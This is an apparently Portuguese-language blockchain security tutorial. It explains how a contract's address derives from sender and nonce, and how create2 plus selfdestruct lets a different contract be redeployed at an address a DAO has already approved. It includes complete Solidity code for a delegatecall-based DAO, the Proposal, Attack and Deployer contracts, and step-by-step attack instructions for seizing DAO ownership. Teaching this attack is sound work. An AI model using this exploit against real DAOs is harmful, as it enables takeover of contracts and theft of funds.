Implementar contratos diferentes no mesmo endereço
WEB3DEV Team
# Implementar contratos diferentes no mesmo endereço
O endereço do contrato implementado com create
é calculado da seguinte forma.
contract address = últimos 20 bytes de sha3(rlp_encode(sender, nonce))
em que o sender
é o endereço do implantador e o nonce
é o número de transacções enviadas pelo sender
.
Assim, é possível implementar diferentes contratos no mesmo endereço se pudermos de alguma forma redefinir o nonce.
Abaixo está um exemplo de como um DAO pode ser hackeado.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/*
Chamado por Alice
0. Implantar DAO
Chamado pelo atacante
1. Implementar o DeployerDeployer
2. Chamada do DeployerDeployer.deploy()
3. Chamar Deployer.deployProposal()
Chamada por Alice
4. Obter a aprovação da proposta pelo DAO
Chamado pelo Attacker
5. Excluir a proposta e o implantador
6. Reimplantar o Deployer
7. Chamar Deployer.deployAttack()
8. Chamar DAO.execute
9. Verificar se DAO.owner é o endereço do atacante
DAO -- aprovado --> Proposta
DeployerDeployer -- create2 --> Deployer -- create --> Proposta
DeployerDeployer -- create2 --> Deployer -- create --> Attack
*/
contract DAO {
struct Proposal {
address target;
bool approved;
bool executed;
}
address public owner = msg.sender;
Proposal[] public proposals;
function approve(address target) external {
require(msg.sender == owner, "not authorized");
proposals.push(Proposal({target: target, approved: true, executed: false}));
}
function execute(uint256 proposalId) external payable {
Proposal storage proposal = proposals[proposalId];
require(proposal.approved, "not approved");
require(!proposal.executed, "executed");
proposal.executed = true;
(bool ok, ) = proposal.target.delegatecall(
abi.encodeWithSignature("executeProposal()")
);
require(ok, "delegatecall failed");
}
}
contract Proposal {
event Log(string message);
function executeProposal() external {
emit Log("Excuted code approved by DAO");
}
function emergencyStop() external {
selfdestruct(payable(address(0)));
}
}
contract Attack {
event Log(string message);
address public owner;
function executeProposal() external {
emit Log("Excuted code not approved by DAO :)");
// For example - set DAO's owner to attacker
owner = msg.sender;
}
}
contract DeployerDeployer {
event Log(address addr);
function deploy() external {
bytes32 salt = keccak256(abi.encode(uint(123)));
address addr = address(new Deployer{salt: salt}());
emit Log(addr);
}
}
contract Deployer {
event Log(address addr);
function deployProposal() external {
address addr = address(new Proposal());
emit Log(addr);
}
function deployAttack() external {
address addr = address(new Attack());
emit Log(addr);
}
function kill() external {
selfdestruct(payable(address(0)));
}
}